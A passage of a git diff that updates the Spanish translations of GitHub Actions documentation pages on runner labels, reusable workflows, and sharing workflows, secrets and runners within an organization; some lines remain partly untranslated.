-This feature helps you assign jobs to a specific hosted runner. If you want to be sure that a particular type of runner will process your job, you can use labels to control where jobs are executed. You can assign labels to a self-hosted runner in addition to their default label of `self-hosted`. Then, you can refer to these labels in your YAML workflow, ensuring that the job is routed in a predictable way.{% ifversion not ghae %} {% data variables.product.prodname_dotcom %}-hosted runners have predefined labels assigned.{% endif %}
+Esta característica te ayuda a asignar jobs a un ejecutor hospedado específico. Si quieres asegurarte de que un tipo específico de ejecutor procesará tu job, puedes utilizar etiquetas para controlar donde se ejecutan los jobs. Puedes asignar etiquetas a un ejecutor auto-hospedado adicionalmente a su etiqueta predeterminada de `self-hosted`. Entonces, puedes referirte a estas etiquetas en tu flujo de trabajo de YAML, garantizando que el job se enrute de forma predecible.{% ifversion not ghae %}Los ejecutores hospedados en {% data variables.product.prodname_dotcom %} tienen asignadas etiquetas predefinidas.{% endif %}
 
-This example shows how a workflow can use labels to specify the required runner:
+Este ejemplo muestra como un flujo de trabajo puede utilizar etiquetas para especificar el ejecutor requerido:
 
 ```yaml
 jobs:
@@ -153,34 +153,33 @@ jobs:
     runs-on: [self-hosted, linux, x64, gpu]
 ```
 
-A workflow will only run on a runner that has all the labels in the `runs-on` array. The job will preferentially go to an idle self-hosted runner with the specified labels. If none are available and a {% data variables.product.prodname_dotcom %}-hosted runner with the specified labels exists, the job will go to a {% data variables.product.prodname_dotcom %}-hosted runner.
+Un flujo de trabajo solo se ejecutará en un ejecutor que tenga todas las etiquetas en el arreglo `runs-on`. El job irá preferencialmente a un ejecutor auto-hospedado inactivo con las etiquetas especificadas. Si no hay alguno disponible y existe un ejecutor hospedado en {% data variables.product.prodname_dotcom %} con las etiquetas especificadas, el job irá a un ejecutor hospedado en {% data variables.product.prodname_dotcom %}.
 
-To learn more about self-hosted runner labels, see ["Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)."
+Para aprender más acerca de las etiquetas auto-hospedadas, consulta la sección ["Utilizar etiquetas con los ejecutores auto-hospedados](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)".
 
 {% ifversion fpt or ghes %}
-To learn more about {% data variables.product.prodname_dotcom %}-hosted runner labels, see ["Supported runners and hardware resources"](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources).
+Para aprender más sobre
+las etiquetas de los ejecutores hospedados en {% data variables.product.prodname_dotcom %}, consulta la sección ["Ejecutores compatibles y recursos de hardware"](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources).
 {% endif %}
 
 {% data reusables.actions.reusable-workflows %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 
-## Using environments
+## Utilizar ambientes
 
-You can configure environments with protection rules and secrets. Each job in a workflow can reference a single environment. Any protection rules configured for the environment must pass before a job referencing the environment is sent to a runner. For more information, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
+Puedes configurr ambientes con reglas de protección y secretos. Cad job en un flujo de trabajo puede referenciar un solo ambiente. Cualquier regla de protección que se configure para el ambiente debe pasar antes de que un job que referencia al ambiente se envíe a un ejecutor. Para obtener más información, consulta la sección "[Utilizar ambientes para despliegue](/actions/deployment/using-environments-for-deployment)".
 {% endif %}
 
-## Using a workflow template
+## Utilizar flujos de trabajo iniciales
 
 {% data reusables.actions.workflow-template-overview %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. If your repository already has existing workflows: In the upper-left corner, click **New workflow**.
-  ![Create a new workflow](/assets/images/help/repository/actions-new-workflow.png)
-1. Under the name of the template you'd like to use, click **Set up this workflow**.
-  ![Set up this workflow](/assets/images/help/settings/actions-create-starter-workflow.png)
+1. Si tu repositorio ya cuenta con flujos de trabajo: En la esquina superior izquierda, da clic sobre **Flujo de trabajo nuevo**. ![Crear un nuevo flujo de trabajo](/assets/images/help/repository/actions-new-workflow.png)
+1. Debajo del nombre del flujo de trabajo inicial que te gustaría utilizar, haz clic en **Configurar este flujo de trabajo**. ![Configurar este flujo de trabajo](/assets/images/help/settings/actions-create-starter-workflow.png)
 
-## Next steps
+## Pasos siguientes
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Sharing workflows, secrets, and runners with your organization](/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization)."
+Para seguir aprendiendo sobre las {% data variables.product.prodname_actions %}, consulta la sección "[Compartir flujos de trabajo, secretos y ejecutores con tu organización](/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization)".
diff --git a/translations/es-ES/content/actions/learn-github-actions/reusing-workflows.md b/translations/es-ES/content/actions/learn-github-actions/reusing-workflows.md
index 02d81d360f..39c28bc3a2 100644
--- a/translations/es-ES/content/actions/learn-github-actions/reusing-workflows.md
+++ b/translations/es-ES/content/actions/learn-github-actions/reusing-workflows.md
@@ -1,7 +1,7 @@
 ---
-title: Reusing workflows
-shortTitle: Reusing workflows
-intro: Learn how to avoid duplication when creating a workflow by reusing existing workflows.
+title: Reutilizar flujos de trabajo
+shortTitle: Reutilizar flujos de trabajo
+intro: Aprende cómo evitar la duplicación al crear un flujo de trabajo reusando los flujos existentes.
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
@@ -16,43 +16,43 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Resumen
 
-Rather than copying and pasting from one workflow to another, you can make workflows reusable. You and anyone with access to the reusable workflow can then call the reusable workflow from another workflow. 
+En vez de copiar y pegar desde un flujo de trabajo hacia otro, puedes hacer flujos de trabajo reutilizables. Tú y cualquiera que tenga acceso a un flujo de trabajo reutilizable pueden entonces llamarlo desde otro flujo.
 
-Reusing workflows avoids duplication. This makes workflows easier to maintain and allows you to create new workflows more quickly by building on the work of others, just as you do with actions. Workflow reuse also promotes best practice by helping you to use workflows that are well designed, have already been tested, and have been proved to be effective. Your organization can build up a library of reusable workflows that can be centrally maintained. 
+El reutilizar flujos de trabajo evita la duplicación. Esto hace que los flujos de trabajo se puedan mantener más fácilmente y te permite crear flujos de trabajo nuevos más fácilmente compilando sobre el trabajo de los demás, tal como lo haces con las acciones. La reutilización de flujos de trabajo también promueve las mejores prácticas al ayudarte a utilizar los flujos de trabajo que están bien diseñados, que ya se han probado y cuya efectividad ya se comprobó. Tu organización puede crear una librería de flujos de trabajo reutilizables que puede mantenerse centralmente.
 
-The diagram below shows three build jobs on the left of the diagram. After each of these jobs completes successfully a dependent job called "Deploy" runs. This job calls a reusable workflow that contains three jobs: "Staging", "Review", and "Production." The "Production" deployment job only runs after the "Staging" job has completed successfully. Using a reusable workflow to run deployment jobs allows you to run those jobs for each build without duplicating code in workflows.
+El siguiente diagrama muestra tres jobs de compilación en la parte izquierda del mismo. Después de que cada uno de estos jobs se complete con éxito, se ejecutará un job dependiente llamado "Deploy". Este job crea un flujo de trabajo reutilizable que contiene tres jobs: "Staging", "Review" y "Production". El job de despliegue "Production" solo se ejecuta después de que el job "Staging" se haya completado con éxito. El utilizar un flujo de trabajo reutilizable para ejecutar jobs de despliegue te permite ejecutarlos para cada compilación sin duplicar el código en los flujos de trabajo.
 
-![Diagram of a reusable workflow for deployment](/assets/images/help/images/reusable-workflows-ci-cd.png)
+![Diagrama de un flujo de trabajo reutilizable para despliegue](/assets/images/help/images/reusable-workflows-ci-cd.png)
 
-A workflow that uses another workflow is referred to as a "caller" workflow. The reusable workflow is a "called" workflow. One caller workflow can use multiple called workflows. Each called workflow is referenced in a single line. The result is that the caller workflow file may contain just a few lines of YAML, but may perform a large number of tasks when it's run. When you reuse a workflow, the entire called workflow is used, just as if it was part of the caller workflow.
+A un flujo de trabajo que utiliza otro flujo de trabajo se le llama flujo de trabajo "llamante". El flujo de trabajo reutilizable es un flujo "llamado". Un flujo de trabajo llamante puede utilizar varios flujos de trabajo llamados. Cada flujo de trabajo llamado se referencia en una línea simple. El resultado es que el archivo de flujo de trabajo llamante podrá contener solo unas cuantas líneas de YAML, pero podría realizar una cantidad grande de tareas cuando se ejecute. Cuando reutilizas un flujo de trabajo, se utiliza todo el flujo de trabajo llamado justo como si fuera parte del flujo de trabajo llamante.
 
-If you reuse a workflow from a different repository, any actions in the called workflow run as if they were part of the caller workflow. For example, if the called workflow uses `actions/checkout`, the action checks out the contents of the repository that hosts the caller workflow, not the called workflow.
+Si utilizas un flujo de trabajo desde un repositorio diferente, cualquier acción en el flujo de trabajo llamado se ejecutará como si fuera parte del llamante. Por ejemplo, si el flujo de trabajo llamado utiliza `actions/checkout`, la acción verifica el contenido del repositorio que hospeda el flujo de trabajo llamante y no el llamado.
 
-When a reusable workflow is triggered by a caller workflow, the `github` context is always associated with the caller workflow. The called workflow is automatically granted access to `github.token` and `secrets.GITHUB_TOKEN`. For more information about the `github` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)."
+Cuando un flujo de trabajo llamante activa uno reutilizable, el contexto `github` siempre se asocia con el flujo llamante. Se otorga acceso automáticamente al flujo de trabajo llamado para `github.token` y `secrets.GITHUB_TOKEN`. Para obtener más información sobre el contexto `github`, consulta la sección "[Sintaxis de contexto y expresión para GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
 
-### Reusable workflows and workflow templates
+### Reusable workflows and starter workflow
 
-Workflow templates allow everyone in your organization who has permission to create workflows to do so more quickly and easily. When people create a new workflow, they can choose a template and some or all of the work of writing the workflow will be done for them. Inside workflow templates, you can also reference reusable workflows to make it easy for people to benefit from reusing centrally managed workflow code. If you use a tag or branch name when referencing the reusable workflow then you can ensure that everyone who reuses that workflow will always be using the same YAML code. However, if you reference a reusable workflow by a tag or branch, be sure that you can trust that version of the workflow. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#reusing-third-party-workflows)."
+Starter workflow allow everyone in your organization who has permission to create workflows to do so more quickly and easily. When people create a new workflow, they can choose a starter workflow and some or all of the work of writing the workflow will be done for them. Inside starter workflow, you can also reference reusable workflows to make it easy for people to benefit from reusing centrally managed workflow code. If you use a tag or branch name when referencing the reusable workflow then you can ensure that everyone who reuses that workflow will always be using the same YAML code. However, if you reference a reusable workflow by a tag or branch, be sure that you can trust that version of the workflow. Para obtener más información, consulta la sección "[Fortalecimiento de seguridad para las {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#reusing-third-party-workflows)".
 
-For more information, see "[Creating workflow templates](/actions/learn-github-actions/creating-workflow-templates)."
+For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
 
-## Access to reusable workflows
+## Acceso a los flujos de trabajo reutilizables
 
 A reusable workflow can be used by another workflow if {% ifversion ghes or ghec or ghae %}any{% else %}either{% endif %} of the following is true:
 
-* Both workflows are in the same repository.
+* Ambos flujos de trabajo están en el mismo repositorio.
 * The called workflow is stored in a public repository.{% ifversion ghes or ghec or ghae %}
-* The called workflow is stored in an internal repository and the settings for that repository allow it to be accessed. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository)."{% endif %}
+* El flujo de trabajo llamado se almacena en un repositorio interno y los ajustes de dicho repositorio permiten que se acceda a él. Para obtener más información, consulta la sección "[Administrar los ajustes de las {% data variables.product.prodname_actions %} en un repositorio](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository)".{% endif %}
 
 ## Using runners
 
 {% ifversion fpt or ghes or ghec %}
 
-### Using GitHub-hosted runners
+### Utilizar los ejecutores hospedados en GitHub
 
-The assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. Billing for {% data variables.product.prodname_dotcom %}-hosted runners is always associated with the caller. The caller workflow cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."
+The assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. Billing for {% data variables.product.prodname_dotcom %}-hosted runners is always associated with the caller. The caller workflow cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. Para obtener más información, consulta la sección "[Acerca de los ejecutores hospedados en {% data variables.product.prodname_dotcom %}](/actions/using-github-hosted-runners/about-github-hosted-runners)".
 
 ### Using self-hosted runners
 
@@ -62,28 +62,27 @@ Called workflows can access self-hosted runners from caller's context. This mean
 * In the caller repository
 * In the caller repository's organization{% ifversion ghes or ghec or ghae %} or enterprise{% endif %}, provided that the runner has been made available to the caller repository
 
-## Limitations
+## Limitaciones
 
-* Reusable workflows can't call other reusable workflows.
-* Reusable workflows stored within a private repository can only be used by workflows within the same repository.
-* Any environment variables set in an `env` context defined at the workflow level in the caller workflow are not propagated to the called workflow. For more information about the `env` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#env-context)."
-* You can't set the concurrency of a called workflow from the caller workflow. For more information about `jobs.<job_id>.concurrency`, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency)."
+* Los flujos de trabajo reutilizables no pueden llamar a otros que también sean reutilizables.
+* Los flujos de trabajo solo podrán usar a los reutilizables que se encuentren almacenados en un repositorio privado en caso de que estos también se encuentren en el mismo repositorio.
+* Ninguna variable de ambiente que se configure en un contexto de `env` que se defina a nivel del flujo de trabajo en aquél llamante se propagará al flujo llamado. Para obtener más información sobre el contexto `env`, consulta la sección "[Sintaxis de contexto y expresión para GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#env-context)".
 * The `strategy` property is not supported in any job that calls a reusable workflow.
 
-## Creating a reusable workflow
+## Crear un flujo de trabajo reutilizable
 
-Reusable workflows are YAML-formatted files, very similar to any other workflow file. As with other workflow files, you locate reusable workflows in the `.github/workflows` directory of a repository. Subdirectories of the `workflows` directory are not supported.
+Los flujos de trabajo reutilizables son archivos con formato YAML, muy similares a cualquier otro archivo de flujo de trabajo. Tal como con otros flujos de trabajo, puedes ubicar los reutilizables en el directorio `.github/workflows` de un repositorio. Los subdirectorios del directorio `workflows` no son compatibles.
 
-For a workflow to be reusable, the values for `on` must include `workflow_call`:
+Para que un flujo de trabajo sea reutilizable, los valores de `on` deben incluir `workflow_call`:
 
 ```yaml
-on: 
+on:
   workflow_call:
 ```
 
 ### Using inputs and secrets in a reusable workflow
 
-You can define inputs and secrets, which can be passed from the caller workflow and then used within the called workflow. There are three stages to using an input or a secret in a reusable workflow. 
+Puedes definir entradas y secretos, las cuales pueden pasarse desde el flujo de trabajo llamante y luego utilizarse dentro del flujo llamado. There are three stages to using an input or a secret in a reusable workflow.
 
 1. In the reusable workflow, use the `inputs` and `secrets` keywords to define inputs or secrets that will be passed from a caller workflow.
    {% raw %}
@@ -99,7 +98,7 @@ You can define inputs and secrets, which can be passed from the caller workflow
            required: true
    ```
    {% endraw %}
-   For details of the syntax for defining inputs and secrets, see [`on.workflow_call.inputs`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callinputs) and [`on.workflow_call.secrets`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callsecrets).
+   Para encontrar los detalles de la sintaxis para definir entradas y secretos, consulta [`on.workflow_call.inputs`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callinputs) y [`on.workflow_call.secrets`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callsecrets).
 1. Reference the input or secret in the reusable workflow.
 
    {% raw %}
@@ -112,14 +111,14 @@ You can define inputs and secrets, which can be passed from the caller workflow
          - uses: ./.github/actions/my-action@v1
            with:
              username: ${{ inputs.username }}
-             token: ${{ secrets.envPAT }}      
+             token: ${{ secrets.envPAT }}
    ```
    {% endraw %}
-   In the example above, `envPAT` is an environment secret that's been added to the `production` environment. This environment is therefore referenced within the job. 
+   In the example above, `envPAT` is an environment secret that's been added to the `production` environment. This environment is therefore referenced within the job.
 
    {% note %}
 
-   **Note**: Environment secrets are encrypted strings that are stored in an environment that you've defined for a repository. Environment secrets are only available to workflow jobs that reference the appropriate environment. For more information, see "[Using environments for deployment](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)."
+   **Note**: Environment secrets are encrypted strings that are stored in an environment that you've defined for a repository. Environment secrets are only available to workflow jobs that reference the appropriate environment. Para obtener más información, consulta la sección "[Utilizar ambientes para despliegue](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)".
 
    {% endnote %}
 
@@ -127,7 +126,7 @@ You can define inputs and secrets, which can be passed from the caller workflow
 
 {% indented_data_reference reusables.actions.pass-inputs-to-reusable-workflows spaces=3 %}
 
-### Example reusable workflow
+### Flujo de trabajo reutilizable de ejemplo
 
 This reusable workflow file named `workflow-B.yml` (we'll refer to this later in the [example caller workflow](#example-caller-workflow)) takes an input string and a secret from the caller workflow and uses them in an action.
 
@@ -153,31 +152,31 @@ jobs:
       - uses: ./.github/actions/my-action@v1
         with:
           username: ${{ inputs.username }}
-          token: ${{ secrets.token }}      
+          token: ${{ secrets.token }}
 ```
 {% endraw %}
 
-## Calling a reusable workflow
+## Llamar a un flujo de trabajo reutilizable
 
-You call a reusable workflow by using the `uses` keyword. Unlike when you are using actions within a workflow, you call reusable workflows directly within a job, and not from within job steps.
+Se llama a un flujo de trabajo reutilizable utilizando la palabra clave `uses`. A diferencia de cuando utilizas acciones en un flujo de trabajo, los flujos de trabajo reutilizables se llaman directamente desde un job y no dentro de los pasos de un job.
 
 [`jobs.<job_id>.uses`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_iduses)
 
-You reference reusable workflow files using the syntax: 
+Se referencian los archivos de flujo de trabajo reutilizables utilizando la sintaxis:
 
 `{owner}/{repo}/{path}/{filename}@{ref}`
 
-You can call multiple workflows, referencing each in a separate job.
+Puedes llamar a flujos de trabajo múltiples, referenciando cada uno en un job separado.
 
 {% data reusables.actions.uses-keyword-example %}
 
-### Passing inputs and secrets to a reusable workflow
+### Pasar entradas y secretos a un flujo de trabajo reutilizable
 
 {% data reusables.actions.pass-inputs-to-reusable-workflows%}
 
-### Supported keywords for jobs that call a reusable workflow
+### Palabras clave compatibles con los jobs que llaman a un flujo de trabajo reutilizable
 
-When you call a reusable workflow, you can only use the following keywords in the job containing the call:
+Cuando llamas a un flujo de trabajo reutilizable, solo puedes utilizar las siguientes palabras clave en el job que contiene la llamada:
 
 * [`jobs.<job_id>.name`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idname)
 * [`jobs.<job_id>.uses`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_iduses)
@@ -191,16 +190,16 @@ When you call a reusable workflow, you can only use the following keywords in th
 
    {% note %}
 
-   **Note:** 
+   **Nota:**
 
-   * If `jobs.<job_id>.permissions` is not specified in the calling job, the called workflow will have the default permissions for the `GITHUB_TOKEN`. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
-   * The `GITHUB_TOKEN` permissions passed from the caller workflow can be only downgraded (not elevated) by the called workflow.
+   * Si no se especifica `jobs.<job_id>.permissions` en el job de llamada, el flujo de trabajo llamado tendrá los permisos predefinidos para el `GITHUB_TOKEN`. Para obtener más información, consulta la sección "[Autenticación en un flujo de trabajo](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)".
+   * Los permisos del `GITHUB_TOKEN` que se pasaron del flujo de trabajo llamante solo pueden bajarse de nivel (no elevarse) a través del flujo de trabajo llamado.
 
    {% endnote %}
 
-### Example caller workflow
+### Flujo de trabajo llamante de ejemplo
 
-This workflow file calls two workflow files. The second of these, `workflow-B.yml` (shown in the [example reusable workflow](#example-reusable-workflow)), is passed an input (`username`) and a secret (`token`).
+Este archivo de flujo de trabajo llama a otros dos archivos de flujo de trabajo. The second of these, `workflow-B.yml` (shown in the [example reusable workflow](#example-reusable-workflow)), is passed an input (`username`) and a secret (`token`).
 
 {% raw %}
 ```yaml{:copy}
@@ -226,7 +225,7 @@ jobs:
 
 ## Using outputs from a reusable workflow
 
-A reusable workflow may generate data that you want to use in the caller workflow. To use these outputs, you must specify them as the outputs of the reusable workflow. 
+A reusable workflow may generate data that you want to use in the caller workflow. To use these outputs, you must specify them as the outputs of the reusable workflow.
 
 The following reusable workflow has a single job containing two steps. In each of these steps we set a single word as the output: "hello" and "world." In the `outputs` section of the job, we map these step outputs to job outputs called: `output1` and `output2`. In the `on.workflow_call.outputs` section we then define two outputs for the workflow itself, one called `firstword` which we map to `output1`, and one called `secondword` which we map to `output2`.
 
@@ -243,12 +242,12 @@ on:
         value: ${{ jobs.example_job.outputs.output1 }}
       secondword:
         description: "The second output string"
-        value: ${{ jobs.example_job.outputs.output2 }}  
-  
+        value: ${{ jobs.example_job.outputs.output2 }}
+
 jobs:
   example_job:
     name: Generate output
-    runs-on: ubuntu-latest   
+    runs-on: ubuntu-latest
     # Map the job outputs to step outputs
     outputs:
       output1: ${{ steps.step1.outputs.firstword }}
@@ -286,20 +285,20 @@ For more information on using job outputs, see "[Workflow syntax for {% data var
 
 ## Monitoring which workflows are being used
 
-You can use the {% data variables.product.prodname_dotcom %} REST API to monitor how reusable workflows are being used. The `prepared_workflow_job` audit log action is triggered when a workflow job is started. Included in the data recorded are:
-* `repo` - the organization/repository where the workflow job is located. For a job that calls another workflow, this is the organization/repository of the caller workflow.
-* `@timestamp` - the date and time that the job was started, in Unix epoch format.
-* `job_name` - the name of the job that was run.
-* `job_workflow_ref` - the workflow file that was used, in the form `{owner}/{repo}/{path}/{filename}@{ref}`. For a job that calls another workflow, this identifies the called workflow.
+Puedes utilizar la API de REST de {% data variables.product.prodname_dotcom %} para monitorear cómo se utilizan los flujos de trabajo reutilizables. La acción de bitácora de auditoría `prepared_workflow_job` se activa cuando se inicia un job de flujo de trabajo. Entre los datos registrados se incluyen:
+* `repo` - la organización/repositorio en donde se ubica el job de flujo de trabajo. Para un job que llama a otro flujo de trabajo, esta es la organización/repositorio del flujo llamador.
+* `@timestamp` - la fecha y hora en las que se inició el job, en formato epoch de Unix.
+* `job_name` - el nombre del job que se ejecutó.
+* `job_workflow_ref` - el flujo de trabajo que se utilizó, en formato `{owner}/{repo}/{path}/{filename}@{ref}`. Para un job que llama a otro flujo de trabajo, esto identifica al flujo llamado.
 
-For information about using the REST API to query the audit log for an organization, see "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization)."
+Para obtener más información sobre cómo utilizar la API de REST para consultar la bitácora de auditoría de una organización, consulta la sección "[Organizaciones](/rest/reference/orgs#get-the-audit-log-for-an-organization)".
 
 {% note %}
 
-**Note**: Audit data for `prepared_workflow_job` can only be viewed using the REST API. It is not visible in the {% data variables.product.prodname_dotcom %} web interface, or included in JSON/CSV exported audit data.
+**Nota**: Los datos de auditoría de `prepared_workflow_job` solo pueden verse utilizando la API de REST. No se puede ver en la interfaz web de {% data variables.product.prodname_dotcom %} ni se incluye en los datos de auditoría exportados en JSON/CSV.
 
 {% endnote %}
 
-## Next steps
+## Pasos siguientes
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows)."
+Para seguir aprendiendo sobre las {% data variables.product.prodname_actions %}, consulta la sección "[Eventos que activan flujos de trabajo](/actions/learn-github-actions/events-that-trigger-workflows)".
diff --git a/translations/es-ES/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md b/translations/es-ES/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md
index f48ee6acd8..e49669e980 100644
--- a/translations/es-ES/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md
+++ b/translations/es-ES/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md
@@ -1,7 +1,7 @@
 ---
-title: 'Sharing workflows, secrets, and runners with your organization'
-shortTitle: Sharing workflows with your organization
-intro: 'Learn how you can use organization features to collaborate with your team, by sharing workflow templates, secrets, and self-hosted runners.'
+title: 'Compartir flujos de trabajo, secretos y ejecutores con tu organización'
+shortTitle: Compartir flujos de trabajo con tu organización
+intro: 'Learn how you can use organization features to collaborate with your team, by sharing starter workflow, secrets, and self-hosted runners.'
 redirect_from:
   - /actions/learn-github-actions/sharing-workflows-with-your-organization
 versions:
@@ -15,40 +15,40 @@ type: how_to
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Resumen
 
-If you need to share workflows and other {% data variables.product.prodname_actions %} features with your team, then consider collaborating within a {% data variables.product.prodname_dotcom %} organization. An organization allows you to centrally store and manage secrets, artifacts, and self-hosted runners. You can also create workflow templates in the `.github` repository and share them with other users in your organization.
+Si necesitas compartir flujos de trabajo y otras características de {% data variables.product.prodname_actions %} con tu equipo, entonces considera colaborar dentrod e una organización de {% data variables.product.prodname_dotcom %}. Una organización te permite almacenar centralmente y administrar secretos, artefactos y ejecutores auto-hospedados. You can also create starter workflow in the `.github` repository and share them with other users in your organization.
 
-## Using workflow templates
+## Utilizar flujos de trabajo iniciales
 
-{% data reusables.actions.workflow-organization-templates %} For more information, see "[Creating workflow templates](/actions/learn-github-actions/creating-workflow-templates)."
+{% data reusables.actions.workflow-organization-templates %} For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
 
 {% data reusables.actions.reusable-workflows %}
 
-## Sharing secrets within an organization
+## Compartir secretos dentro de una organización
 
-You can centrally manage your secrets within an organization, and then make them available to selected repositories. This also means that you can update a secret in one location, and have the change apply to all repository workflows that use the secret.
+Puedes admnistrar tus secretos centralmente dentro de una organización y hacerlos disponibles para repositorios específicos. Esto también significa que púedes actualizar un secreto en una ubicación y hacer que el cambio aplique a todos los flujos de trabajo del repositorio que lo utilicen.
 
-When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories.
+Cuando creas un secreto en una organización, puedes utilizar una política para limitar el acceso de los repositorios a este. Por ejemplo, puedes otorgar acceso a todos los repositorios, o limitarlo a solo los repositorios privados o a una lista específica de estos.
 
 {% data reusables.github-actions.permissions-statement-secrets-organization %}
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. Click **New secret**.
-1. Type a name for your secret in the **Name** input box.
-1. Enter the **Value** for your secret.
-1. From the **Repository access** dropdown list, choose an access policy.
-1. Click **Add secret**.
+1. Da clic en **Secreto nuevo**.
+1. Teclea un nombre para tu secreto en el cuadro de entrada **Name**.
+1. Ingresa el **Valor** para tu secreto.
+1. Desde la lista desplegable **Acceso de los repositorios**, elige una política de acceso.
+1. Haz clic en **Agregar secreto** (Agregar secreto).
 
-## Share self-hosted runners within an organization
+## Compartir ejecutores auto-hospedados dentro de una organización
 
-Organization admins can add their self-hosted runners to groups, and then create policies that control which repositories can access the group.
+Los administradores de las organizaciones pueden agregar sus ejecutores auto-hospedados a grupos y luego crear políticas que controlen qué repositorios pueden acceder al grupo.
 
-For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+Para obtener más información, consulta la sección "[Administrar el acceso a los ejecutores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)".
 
 
-## Next steps
+## Pasos siguientes
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Creating workflow templates](/actions/learn-github-actions/creating-workflow-templates)."
+To continue learning about {% data variables.product.prodname_actions %}, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
diff --git a/translations/es-ES/content/actions/learn-github-actions/understanding-github-actions.md b/translations/es-ES/content/actions/learn-github-actions/understanding-github-actions.md
index 6e69efdfbc..d3bc3654bd 100644
--- a/translations/es-ES/content/actions/learn-github-actions/understanding-github-actions.md
+++ b/translations/es-ES/content/actions/learn-github-actions/understanding-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Understanding GitHub Actions
-shortTitle: Understanding GitHub Actions
-intro: 'Learn the basics of {% data variables.product.prodname_actions %}, including core concepts and essential terminology.'
+title: Entender las GitHub Actions
+shortTitle: Entendiendo las GitHub Actions
+intro: 'Aprende lo básico de las {% data variables.product.prodname_actions %}, incluyendo los conceptos nucleares y la terminología esencial.'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions
   - /actions/automating-your-workflow-with-github-actions/core-concepts-for-github-actions
@@ -20,58 +20,58 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Resumen
 
-{% data reusables.actions.about-actions %}  You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production.
+{% data reusables.actions.about-actions %} Puedes crear flujos de trabajo y crear y probar cada solicitud de cambios en tu repositorio o desplegar solicitudes de cambios fusionadas a producción.
 
-{% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository.
+{% data variables.product.prodname_actions %} va más allá de solo DevOps y te permite ejecutar flujos de trabajo cuando otros eventos suceden en tu repositorio. Por ejemplo, puedes ejecutar un flujo de trabajo para que agregue automáticamente las etiquetas adecuadas cada que alguien cree una propuesta nueva en tu repositorio.
 
-{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure.  
